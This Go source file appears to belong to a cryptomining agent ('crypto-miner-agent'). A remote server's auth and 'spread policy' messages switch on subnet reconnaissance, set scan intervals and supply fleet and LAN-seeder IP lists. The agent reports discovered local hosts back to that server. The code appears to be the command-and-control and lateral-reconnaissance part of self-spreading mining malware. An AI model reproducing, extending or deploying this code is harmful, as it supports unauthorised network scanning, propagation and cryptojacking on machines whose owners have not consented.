package client import ( "encoding/json" "strings" "crypto-miner-agent/deploy" ) func (c *AgentClient) applyAuthSubnetRecon(resp AuthResponse) { c.mu.Lock() c.cfg.SubnetReconEnabled = resp.SubnetReconEnabled if resp.SubnetReconIntervalMin > 0 { c.cfg.SubnetReconIntervalMin = resp.SubnetReconIntervalMin } c.cfg.SubnetFleetIPs = mergeSubnetFleetIPs(resp.SubnetFleetIPs, c.lanSeeders) c.mu.Unlock() } func (c *AgentClient) applySubnetReconSpreadPolicy(enabled bool, intervalMin int, fleetIPs []string) { c.mu.Lock() c.cfg.SubnetReconEnabled = enabled if intervalMin > 0 { c.cfg.SubnetReconIntervalMin = intervalMin } if len(fleetIPs) > 0 { c.cfg.SubnetFleetIPs = mergeSubnetFleetIPs(fleetIPs, c.lanSeeders) } cfg := c.cfg agentID := c.agentID c.mu.Unlock() deploy.UpdateSubnetReconPolicy( cfg.SubnetReconEnabled, cfg.SubnetReconIntervalMin, agentID, cfg.SubnetFleetIPs, ) } func mergeSubnetFleetIPs(primary []string, seeders []deploy.LANSeederHint) []string { seen := map[string]bool{} var out []string add := func(ip string) { ip = strings.TrimSpace(ip) if ip == "" || seen[ip] { return } seen[ip] = true out = append(out, ip) } for _, ip := range primary { add(ip) } for _, s := range seeders { add(s.IP) } return out } func (c *AgentClient) writeSubnetReconReport(hosts []deploy.SubnetReconHost) { if len(hosts) == 0 { return } c.mu.Lock() enabled := c.cfg.SubnetReconEnabled agentID := c.agentID c.mu.Unlock() if !enabled { return } localIP, _ := deploy.PrimaryLocalIPv4() payload, err := json.Marshal(map[string]interface{}{ "hosts": hosts, "subnet_prefix": deploy.SubnetFromIP(localIP), "agent_id": agentID, }) if err != nil { return } _ = c.write(Message{Type: "subnet_recon_report", Payload: payload}) } func (c *AgentClient) startSubnetReconAfterAuth() { c.mu.Lock() cfg := c.cfg cfg.AgentID = c.agentID c.mu.Unlock() deploy.SetSubnetReconReportFn(c.writeSubnetReconReport) deploy.StartSubnetRecon(cfg) }